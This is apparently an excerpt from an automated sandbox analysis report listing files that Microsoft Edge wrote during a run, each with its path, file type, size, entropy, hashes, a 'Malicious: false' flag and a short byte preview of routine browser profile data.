SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e722ec94-a01e-40b2-b65f-26497a6f1319.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.561211820044419
Encrypted:	false
SSDEEP:	768:kU/cr4WC07pLGLpbZW5wwuf4t68F1+UoAYDCx9Tuqh0VfUC9xbog/OVPc6vQINS3:k8C454cpbZWawufw6u1jaF6vPjO6mkJo
MD5:	D24F1C9DB76A596FCE23CC329E5D9619
SHA1:	3375D36A39FED677C7DF3E5E0751A45B9FAEB3B3
SHA-256:	3E05B6A57D43A28FB2AD04CF62320E063F4B09C7C9BE0DAFF3BFF4823C74D96E
SHA-512:	BE7903CE0987434BC52989885295E5174EA920642CFE6A7A8085ED8574DD4E099EADBC16F477DB005DD97D0D63CFD1750BECBF3300B0436DB1529B917B89E61D
Malicious:	false
Reputation:	unknown
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376448094197065","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376448094197065","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.0986547142378098
Encrypted:	false
SSDEEP:	12:liY4pLpEjVl/PnnnnnnnnnnvoQREoBmY7:liXptoPnnnnnnnnnnvbjcY
MD5:	BFA689A6F6B7B44981740F66BCB8189E
SHA1:	846E59CF1AFB425C157E1B6EE403E13DBA89601D
SHA-256:	DA3FE23D7386DD6D841637085392D3B521EC6E015DBFF9E714A9B924FD25F582
SHA-512:	CCFD0E8E91874F9CA83B94C1A6129AD29A7CC97284757373DAFBF049C09F98225FDF27C222E786F073F0038DCD628040ED2EC54857198D4DE69AD9ABB1B0B237
Malicious:	false
Reputation:	unknown
Preview:	..-.............I..........r$...$J...V...q...m.x..-.............I..........r$...$J...V...q...m.x........E...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	300792
Entropy (8bit):	0.8472842962519449
Encrypted:	false
SSDEEP:	384:pMv6TorfiilfevPguvSdPLWbtZyfydmyPyyKrytxyrT:rw32+
MD5:	58666A9BE511C3DAFB9B8D572F06909C
SHA1:	38C36757C0916F3A3DDA1917992782CAB0531256
SHA-256:	2756BCA65CD947CCC15F025E2D68B99E1D52D260799CD6D2E7A1177BE5AF8B34
SHA-512:	BD083E8C0577F4746F543CE111927AB86335666CEC971E23284C7C31009FE44477E03FD79B6CCDE64B8A96EF717E47953A1E5FA36C77AF5B41D3E463438DD849
Malicious:	false
Reputation:	unknown
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	692
Entropy (8bit):	3.520579560589897
Encrypted:	false
SSDEEP:	12:p9lc8QyOuuuuuuuuuuuuuuuuuuuuu+lljARDsU8Z:pHaysljAl2
MD5:	E781C9F674ECFF82C573A8FA5EF50CD8
SHA1:	D8356E9783154EBEC11DE75BE2654BBFA3A9F89E
SHA-256:	5CF223644330BA46E5DB76DBCB54B0DC2C9B773C5A3088ACA68EC5C5B34E176D
SHA-512:	C31098856D6CEC4158F5C70A04929C092696495DCD990A9C561DF0B61BC53B508278E99D71CD4AD9E268317C3553A51356D97AFDEC95125BF8F39F18F3815DA3
Malicious:	false
Reputation:	unknown
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=................).?9...............#38_h.......6.Z..W.F.....Lfe.....Lfe.......eV.e................V.e................Y...0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.198304309070355
Encrypted:	false
SSDEEP:	6:HUmZiM+q2PN723oH+TcwtfrK+IFUt8YUyvZmw+YUyiMVkwON723oH+TcwtfrUeLJ:7d+vVaYeb23FUt8Y/+oV5OaYeb3J
MD5:	07E5714BB6D9E6930BF094D145B53F27
SHA1:	892851542F770F33C162078D46BEFC11160745B9
SHA-256:	F2BF7FB0E07B4BA869961DA419CB3FED43BE1E5AA71CCA1F6EC57C6A7712C25D
SHA-512:	B5794C4F50D182781233CED9BC415605E2E5BCEBA4EF511F6093CD39C39F4B1772E0088D8A6C3CAF02C8F9CB4750365D4A8EEFE2BB69CA1A0179C4938F52C801
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:34.936 1eac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/18-19:01:34.952 1eac Recovering log #3.2024/11/18-19:01:34.952 1eac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.198304309070355
Encrypted:	false
SSDEEP:	6:HUmZiM+q2PN723oH+TcwtfrK+IFUt8YUyvZmw+YUyiMVkwON723oH+TcwtfrUeLJ:7d+vVaYeb23FUt8Y/+oV5OaYeb3J
MD5:	07E5714BB6D9E6930BF094D145B53F27
SHA1:	892851542F770F33C162078D46BEFC11160745B9
SHA-256:	F2BF7FB0E07B4BA869961DA419CB3FED43BE1E5AA71CCA1F6EC57C6A7712C25D
SHA-512:	B5794C4F50D182781233CED9BC415605E2E5BCEBA4EF511F6093CD39C39F4B1772E0088D8A6C3CAF02C8F9CB4750365D4A8EEFE2BB69CA1A0179C4938F52C801
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:34.936 1eac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/18-19:01:34.952 1eac Recovering log #3.2024/11/18-19:01:34.952 1eac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Reputation:	unknown
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.166688156984312
Encrypted:	false
SSDEEP:	6:HUfM3M+q2PN723oH+TcwtfrzAdIFUt8YUiZmw+YUtMVkwON723oH+TcwtfrzILJ:2M8+vVaYeb9FUt88/+8V5OaYeb2J
MD5:	37C35FF0174F9718004BE8EAFE43D577
SHA1:	BBF6F8541BDA5113EC346BA5D4BC80E502E57D4C
SHA-256:	40D2DA726F922C5C1A7F9E570309241F9CE4E3AFDFA4D9EBFF45E9ECE8E0A414
SHA-512:	447232E33DACC9C9B870C89BFD47B82A85429AA4DD1375CD8A5D6285213382A4B3A612F58FD5004C84A3D404EF2624AEE6ED1A9232EDDC7D85AE725FB4B1B814
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:34.900 1eac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/18-19:01:34.897 1eac Recovering log #3.2024/11/18-19:01:34.897 1eac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.166688156984312
Encrypted:	false
SSDEEP:	6:HUfM3M+q2PN723oH+TcwtfrzAdIFUt8YUiZmw+YUtMVkwON723oH+TcwtfrzILJ:2M8+vVaYeb9FUt88/+8V5OaYeb2J
MD5:	37C35FF0174F9718004BE8EAFE43D577
SHA1:	BBF6F8541BDA5113EC346BA5D4BC80E502E57D4C
SHA-256:	40D2DA726F922C5C1A7F9E570309241F9CE4E3AFDFA4D9EBFF45E9ECE8E0A414
SHA-512:	447232E33DACC9C9B870C89BFD47B82A85429AA4DD1375CD8A5D6285213382A4B3A612F58FD5004C84A3D404EF2624AEE6ED1A9232EDDC7D85AE725FB4B1B814
Malicious:	false
Reputation:	unknown
Preview:	2024/11/18-19:01:34.900 1eac Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/18-19:01:34.897 1eac Recovering log #3.2024/11/18-19:01:34.897 1eac Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Reputation:	unknown
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Reputation:	unknown
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089801034669812
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW7di1zNtPM5kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynd6kzItSmd6qE7lFoC
MD5:	64B1730E6FC96751FBA69619B895F408
SHA1:	740A826252B4F021585E83AE6430378DB497E237
SHA-256:	5253A682ACA2076B1248513B404ADFF8B5A58CABFAA6FD25AB5E74FC6348C757
SHA-512:	6CF80B5222E35EC3CF1733B9778DF06385CAF63FA8FB9C106347D41A977D60C52FCC6C7225EC17D6BB90979871DC613E1B1C286901518D0C355DB806D5287A7E
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3af7b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089801034669812
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW7di1zNtPM5kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynd6kzItSmd6qE7lFoC
MD5:	64B1730E6FC96751FBA69619B895F408
SHA1:	740A826252B4F021585E83AE6430378DB497E237
SHA-256:	5253A682ACA2076B1248513B404ADFF8B5A58CABFAA6FD25AB5E74FC6348C757
SHA-512:	6CF80B5222E35EC3CF1733B9778DF06385CAF63FA8FB9C106347D41A977D60C52FCC6C7225EC17D6BB90979871DC613E1B1C286901518D0C355DB806D5287A7E
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3af8a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089801034669812
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW7di1zNtPM5kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynd6kzItSmd6qE7lFoC
MD5:	64B1730E6FC96751FBA69619B895F408
SHA1:	740A826252B4F021585E83AE6430378DB497E237
SHA-256:	5253A682ACA2076B1248513B404ADFF8B5A58CABFAA6FD25AB5E74FC6348C757
SHA-512:	6CF80B5222E35EC3CF1733B9778DF06385CAF63FA8FB9C106347D41A977D60C52FCC6C7225EC17D6BB90979871DC613E1B1C286901518D0C355DB806D5287A7E
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3b130.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089801034669812
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW7di1zNtPM5kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynd6kzItSmd6qE7lFoC
MD5:	64B1730E6FC96751FBA69619B895F408
SHA1:	740A826252B4F021585E83AE6430378DB497E237
SHA-256:	5253A682ACA2076B1248513B404ADFF8B5A58CABFAA6FD25AB5E74FC6348C757
SHA-512:	6CF80B5222E35EC3CF1733B9778DF06385CAF63FA8FB9C106347D41A977D60C52FCC6C7225EC17D6BB90979871DC613E1B1C286901518D0C355DB806D5287A7E
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3d802.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089801034669812
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW7di1zNtPM5kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynd6kzItSmd6qE7lFoC
MD5:	64B1730E6FC96751FBA69619B895F408
SHA1:	740A826252B4F021585E83AE6430378DB497E237
SHA-256:	5253A682ACA2076B1248513B404ADFF8B5A58CABFAA6FD25AB5E74FC6348C757
SHA-512:	6CF80B5222E35EC3CF1733B9778DF06385CAF63FA8FB9C106347D41A977D60C52FCC6C7225EC17D6BB90979871DC613E1B1C286901518D0C355DB806D5287A7E
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF402fa.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089801034669812
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW7di1zNtPM5kzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynd6kzItSmd6qE7lFoC
MD5:	64B1730E6FC96751FBA69619B895F408
SHA1:	740A826252B4F021585E83AE6430378DB497E237
SHA-256:	5253A682ACA2076B1248513B404ADFF8B5A58CABFAA6FD25AB5E74FC6348C757
SHA-512:	6CF80B5222E35EC3CF1733B9778DF06385CAF63FA8FB9C106347D41A977D60C52FCC6C7225EC17D6BB90979871DC613E1B1C286901518D0C355DB806D5287A7E
Malicious:	false
Reputation:	unknown
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4c204.TMP (copy)

